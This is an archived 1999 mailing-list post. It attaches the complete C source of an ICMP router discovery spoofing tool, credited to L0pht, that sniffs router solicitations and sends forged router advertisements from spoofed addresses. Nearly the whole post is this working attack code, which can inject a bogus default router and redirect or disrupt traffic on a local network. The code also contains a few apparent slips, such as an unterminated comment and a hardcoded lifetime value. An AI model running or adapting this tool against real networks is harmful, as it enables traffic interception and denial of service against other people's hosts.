[ale] DHCP server and linux and exclusion of MAC addresses
jj at spiderentertainment.com
jj at spiderentertainment.com
Wed Nov 17 16:07:59 EST 1999
This is a multi-part message in MIME format.
--------------E52320916A41C4F07EA44990
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Here's the source code .... This has been well covered by many alert type websites.
check out l0pth.com or whatever their web url is, I'm sure they have this
--------------E52320916A41C4F07EA44990
Content-Type: text/plain; charset=us-ascii;
name="icmp_rdp.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="icmp_rdp.c"
/* 08/05/99
* proof of concept tool by:
* Silicosis (sili at l0pht.com) & Mudge (mudge at l0pht.com)
*
* Compile:
* gcc -g -o rdp icmp_rdp.c -lsocket -lnsl -lnet -lpcap
*
* Requires Libnet http://www.packetfactory.net/
* libpcap ftp://ee.lbl.gov/libpcap.tar.Z
*
* Tested under Solaris 2.6 & 2.7
*/
#include <stdlib.h>
#include <pcap.h>
#include <net/bpf.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "rdp.h"
#define SNAPLEN 4096
#define PROMISC 1 /* 1 == TRUE, 0 == FALSE */
void print_packet(char *, unsigned int);
void print_icmp_rdisc(const char *pkt, unsigned int len, int flag);
pcap_t * getCaptureDev(char *device);
u_long getSourceAddr(const char *packet, unsigned int len);
void send_icmp_rdisc_response(int sock, struct values *value_pass);
void usage(char *);
int main(int argc, char *argv[]){
char *interfaceStr = NULL;
const u_char *pkt;
extern char *optarg;
int c, sock;
int listen_flag=0, send_flag=0;
pcap_t *capDev;
struct pcap_pkthdr pkthdr;
struct values value_pass;
/* zero out the values struct */
memset(&value_pass, '\0', sizeof(struct values));
/* preset a few things here... */
value_pass.lifetime = 3219800;
value_pass.pref = 1000;
value_pass.routeraddr2 = 0;
while ((c = getopt(argc, argv, "vlsp:d:n:I:t:i:S:D:R:r:")) != EOF){
switch (c) {
case 'v': /* VERBOSE */
value_pass.verbose++;
break;
case 'l': /* Listen mode */
listen_flag++;
break;
case 's': /* Send mode */
send_flag++;
break;
case 'p': /* preference level to attach to outgoing response */
value_pass.pref = strtoul(optarg, (char **)NULL, 10);
break;
case 'd': /* delay value in sending out packets *
value_pass.delay = atoi(optarg);
break;
case 'n': /* number of router advert packets to send */
value_pass.num_pkts = atoi(optarg);
break;
case 'I': /* ID value to place in IP packet */
value_pass.id = atoi(optarg);
break;
case 't': /* lifeTime for rdp packet */
value_pass.lifetime = atoi(optarg);
break;
case 'i': /* INTERFACE */
interfaceStr = optarg;
break;
case 'S': /* Source IP address to place in packet */
value_pass.sourceaddr = libnet_name_resolve(optarg, 1);
break;
case 'D': /* Dest IP address to place in packet */
value_pass.destaddr = libnet_name_resolve(optarg, 1);
break;
case 'R':
value_pass.routeraddr = libnet_name_resolve(optarg, 1);
break;
case 'r':
value_pass.routeraddr2 = libnet_name_resolve(optarg, 1);
break;
default:
usage(argv[0]);
}
}
/********************************************************
* make sure the command line makes some sense... *
********************************************************/
/* if no interface was specified default to sun's hme0 */
if (!interfaceStr)
interfaceStr = "eth0";
if (!listen_flag && !send_flag)
usage(argv[0]);
if (send_flag && !listen_flag && (value_pass.destaddr == 0)){
/* if we are *just* sending then we need a dest
addr... */
usage(argv[0]);
}
/********************************************************
* fill in values with defaults that weren't explicitly *
* specified... *
********************************************************/
if ( value_pass.sourceaddr == 0 )
value_pass.sourceaddr = inet_addr("1.1.1.1");
if ( value_pass.routeraddr == 0 )
value_pass.routeraddr = value_pass.sourceaddr;
/* grab the socket for sending if specified */
if (send_flag){
if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1){
perror("socket: ");
exit(1);
}
}
/********************************************************
* Go at it - this is the entire high level section to *
* do the dirty work *
********************************************************/
if (listen_flag){
capDev = (pcap_t *)getCaptureDev(interfaceStr);
while (1){
pkt = pcap_next(capDev, &pkthdr);
if (!pkt)
continue;
#ifdef DEBUG
print_packet(pkt, pkthdr.caplen);
#endif
if (send_flag){
if (value_pass.destaddr == 0){ /* grab the dest addr from the
sniffed packet */
value_pass.destaddr = getSourceAddr(pkt, pkthdr.caplen);
}
send_icmp_rdisc_response(sock, &value_pass);
}
if (value_pass.verbose){
print_icmp_rdisc(pkt, pkthdr.caplen, ETHER);
}
pkt = NULL;
}
} else { /* just sending */
send_icmp_rdisc_response(sock, &value_pass);
}
/**********************************************************
* We're done *
**********************************************************/
exit(0);
}
void print_packet(char *packet, unsigned int len){
int i;
printf("-[packet len: %d]-\n", len);
for (i=0; i < len; i++){
if (i != 0 && i%20 == 0)
printf("\n");
printf("%.2x ", packet[i] & 0xff);
}
printf("\n");
}
/*****************************************************************
* function: print_icmp_rdisc(const char *, u_int, int ) *
* returns: none *
* *
* description: this routine prints out an ICMP packet in human *
* readable format. This should only be handed *
* ICMP packets with type code of 9 or 10... *
* router advertisement or router solicitation *
* packets. *
* Little, if any, sanity checking is done here... *
* If the final value is ETHER then it is assumed *
* that an ether header is attached - otherwise *
* NO_ETHER should be sent to this function *
*****************************************************************/
void print_icmp_rdisc(const char *pkt, unsigned int len, int flag){
struct ip ipheader; /* done as a quick and easy force of alignment on
sparcs */
struct icmp_rdp_head rdp_head;
char hold1[24], hold2[24];
struct in_addr in_addr_holder;
int i;
char *ptr;
/* smallest packet we should get would be a full ICMP router solicitation
which would be ether (14 bytes), IP (minimum of 20 bytes w/o options),
and ICMP router solicitation (8 bytes) 14+20+8 == 42
without ether would be IP + ICMP or 28 */
switch(flag){
case ETHER:
if (len < 42){
fprintf(stderr, "Something's wrong... ether packet too short\n");
return;
}
memcpy(&ipheader, pkt + 14, sizeof(struct ip));
memcpy(&rdp_head, ((char *)pkt + 14 + (ipheader.ip_hl << 2)),
sizeof(struct icmp_rdp_head));
ptr = (char *)pkt + 14 + (ipheader.ip_hl << 2) + 8;
break;
case NO_ETHER:
if (len < 28){
fprintf(stderr, "Something's wrong... IP packet too short\n");
return;
}
memcpy(&ipheader, pkt, sizeof(struct ip));
memcpy(&rdp_head, ((char *)pkt + (ipheader.ip_hl << 2)),
sizeof(struct icmp_rdp_head));
ptr = (char *)pkt + (ipheader.ip_hl << 2) + 8;
break;
}
strncpy(hold1, inet_ntoa(ipheader.ip_src), sizeof(hold1));
strncpy(hold2, inet_ntoa(ipheader.ip_dst), sizeof(hold1));
switch(rdp_head.type){
case 10:
printf("-=[ICMP router solicitation]=- ");
printf(" %s -> %s\n", hold1, hold2);
printf("[type %d - code %d - checksum 0x%4x]\n\n", rdp_head.type,
rdp_head.code, rdp_head.cksum);
break;
case 9:
printf("-=[ICMP router advertisement]=- ");
printf(" %s -> %s\n", hold1, hold2);
printf("[type %d - code %d - checksum 0x%4x]\n", rdp_head.type,
rdp_head.code, rdp_head.cksum);
printf("[addr # - %d - addr sizes - %d lifetime %d]\n",
rdp_head.u.a.number_of_addrs, rdp_head.u.a.addr_entry_size,
rdp_head.u.a.lifetime);
/* currently one should only see address entry sizes of 2, this
handles the [1]router address and [2]preference level - since
this is a proof of concept little tool and the current RFC (rfc1256)
lists the current value at 2 we will "assume" as much, though we
will still do some minimal sanity checking */
if (rdp_head.u.a.addr_entry_size != 2){
printf("-=[%d is a non-standard value for the current RFC (1256)]=-\n",
rdp_head.u.a.addr_entry_size);
return;
}
#ifdef DEBUG
printf("DEBUG: rdp_head.u.a.number_of_addrs << 1 = %d\n",
"len - 14 - (ipheader.len << 2) - 8 = %d\n\n",
(rdp_head.u.a.number_of_addrs << 1), (len - 14 -
(ipheader.ip_hl << 2) - 8));
#endif
#ifdef OUT
switch(flag){
case ETHER:
if ( (rdp_head.u.a.number_of_addrs << 1) != (len - 14 -
(ipheader.ip_hl << 2) - 8) ){
printf("size mismatch with ether\n");
return;
}
break;
case NO_ETHER:
if ( (rdp_head.u.a.number_of_addrs << 1) != (len -
(ipheader.ip_hl << 2) - 8)){
printf("size mismatch with IP\n");
return;
}
break;
}
#endif
for(i=0; i < rdp_head.u.a.number_of_addrs ; i++){
memcpy(&in_addr_holder, ptr, sizeof(struct in_addr));
printf("router %s - ", inet_ntoa(in_addr_holder));
ptr += 4;
printf("preference %d\n", *(u_short *)ptr);
ptr += 4;
}
printf("\n\n");
break;
}
}
void usage(char *prog){
char *ptr;
ptr = (char *)strrchr(prog, '/');
if (ptr)
ptr++;
else
prog = ptr;
printf("ICMP Router Discovery Protocol Generator\n");
printf("Usage: %s -v -l -s -d <delay> -p <pref>",ptr);
printf(" -t <lifetime> -i <dev>\n\t -S <src> -D <dst> -R <rtr>");
printf(" -r <optional 2nd rtr>\n\n");
printf("\t-v verbose\n\t-l listen mode\n\t-s send mode\n");
printf("\t-d <delay time between sending packets>\n");
printf("\t-n <number of rdp packets to send>\n");
printf("\t-I <ID value to place in IP packet>\n");
printf("\t-p <preference level>\n\t-t <lifetime>\n");
printf("\t-i <interface to use for sniffing>\n");
printf("\t-S <source address to put in outgoing rdp packet>\n");
printf("\t-D <destination address to put in outgoing rdp packet>\n");
printf("\t-R <router address to advertise in rdp packet>\n");
printf("\t-r <optional 2nd router address to advertise in rdp packet>\n\n");
exit(1);
}
pcap_t * getCaptureDev(char *device){
pcap_t *capDev;
char pcaperror[PCAP_ERRBUF_SIZE];
/* tcpdump -dd proto 1 and 'icmp[0] == 9 or icmp[0] == 10' */
static struct bpf_insn rdp[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 9, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 5, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 1, 0, 0x00000009 },
{ 0x15, 0, 1, 0x0000000a },
{ 0x6, 0, 0, 0x00000044 },
{ 0x6, 0, 0, 0x00000000 }
};
struct bpf_program prog;
capDev = pcap_open_live(device, SNAPLEN, PROMISC, 0, pcaperror);
if (!capDev){
fprintf(stderr, "%s\n", pcaperror);
exit(1);
}
/* set the filter - this will cause us to only look at icmp packets
that are either router advertisements or router solicitations.
These are icmp type 9 and 10 respectively */
prog.bf_len = sizeof(rdp) / sizeof(struct bpf_insn);
prog.bf_insns = rdp;
if (pcap_setfilter(capDev, &prog) != 0){
fprintf(stderr, "failed to correctly set filter - D'oh!\n");
exit(1);
}
return capDev;
}
u_long getSourceAddr(const char *packet, unsigned int len){
struct ip ip_packet;
memcpy(&ip_packet, packet + 14, sizeof(struct ip));
return(ip_packet.ip_src.s_addr);
}
void send_icmp_rdisc_response(int sock, struct values *value_pass){
/*
There are three ether addresses and three IP addresses that we should
be attempting here to see who responds how -
Router Advertisements
Ether: 01:00:5e:00:00:01
Ether: ff:ff:ff:ff:ff:ff
Ether: unicast back to whomever sent the Solicitation
IP: 224.0.0.1
IP: 255.255.255.255
IP: unicast back to whomever sent the Solicitation
Router Solicitations
Ether: 01:00:5e:00:00:02
Ether: ff:ff:ff:ff:ff:ff
Ether: try the unicast address of a router who has a multicast
interface
IP: 224.0.0.2
IP: 255.255.255.255
IP: unicast to address of a router who has a multicast interface
The Ether multicast address is created as follows: The least significant
23 bits of the ip address are placed into the least significant 23 bits
of the Ethernet multicast addr 01:00:5e:00:00:00. Thus 224.0.0.2
maps to 01:00:5e:00:00:02, etc.
As for the actual RDP packet :
ICMP Router Discovery Protocol
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Num Addrs |Addr Entry Size| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Router Address[1] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Preference Level[1] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
u_char *packet;
struct icmp_rdp_head icmpPkt;
struct icmp_rdp_advert ap;
struct icmp_rdp_advert bp;
struct ip *ip;
int icmplen, acx;
if (value_pass->routeraddr2 !=0)
icmplen = 24;
else
icmplen = 16;
if ((packet = malloc(sizeof(struct ip) + icmplen)) == NULL) {
perror("malloc: ");
return;
}
/* sanitize... */
memset(packet, '\0', sizeof(struct ip) + icmplen);
libnet_build_ip(icmplen, /* Size of the payload */
0, /* IP TOS */
value_pass->id == 0 ? 12345+(random()%100): value_pass->id,
/* IP ID */
0, /* frag offset+flags */
255, /* TTL - this is
intentionally larger than
what rfc 1256 wants */
IPPROTO_ICMP, /* Protocol */
value_pass->sourceaddr, /* Source IP */
value_pass->destaddr, /* Dest IP */
NULL, /* ptr to payload */
0,
packet); /* da packet */
/* Create ICMP Header */
memset(&icmpPkt, '\0', sizeof(struct icmp_rdp_head));
icmpPkt.type = ICMP_ROUTERADVERT;
icmpPkt.code = 0;
if (value_pass->routeraddr2 != 0){
icmpPkt.u.a.number_of_addrs = 2;
icmpPkt.u.a.addr_entry_size = 2;
/* commented out by Mjj
icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
*/
icmpPkt.u.a.lifetime = 41654;
memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt,
sizeof(struct icmp_rdp_head));
/* Create ICMP Router Advertisement */
ap.ira_addr = value_pass->routeraddr;
ap.ira_preference = htonl(value_pass->pref);
memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head),
&ap, sizeof(struct icmp_rdp_advert));
/* Add the 2nd router.. */
ap.ira_addr = value_pass->routeraddr2;
memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head) +
sizeof(struct icmp_rdp_head), &ap, sizeof(struct icmp_rdp_advert));
}
else {
icmpPkt.u.a.number_of_addrs = 1;
icmpPkt.u.a.addr_entry_size = 2;
icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt,
sizeof(struct icmp_rdp_head));
/* Create ICMP Router Advertisement */
ap.ira_addr = value_pass->routeraddr;
ap.ira_preference = htonl(value_pass->pref);
memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head),
&ap, sizeof(struct icmp_rdp_advert));
}
/* Generate ICMP checksum. IP checksum *should* be handled *correctly*
by the kernel */
libnet_do_checksum(packet, IPPROTO_ICMP, icmplen);
/* Send xx packets.. */
/* pre-load to send one packet if no number was specified */
if (value_pass->num_pkts == 0)
value_pass->num_pkts = 10;
for (acx = 0; acx < value_pass->num_pkts; acx++){
if (libnet_write_ip(sock, packet, (sizeof(struct ip) + icmplen)) <
(sizeof(struct ip) + icmplen))
perror("write_ip: ");
else {
if (value_pass->verbose)
print_icmp_rdisc(packet, sizeof(struct ip) + icmplen, NO_ETHER);
if (value_pass->delay)
sleep(value_pass->delay);
}
}
}
--------------E52320916A41C4F07EA44990--
More information about the Ale
mailing list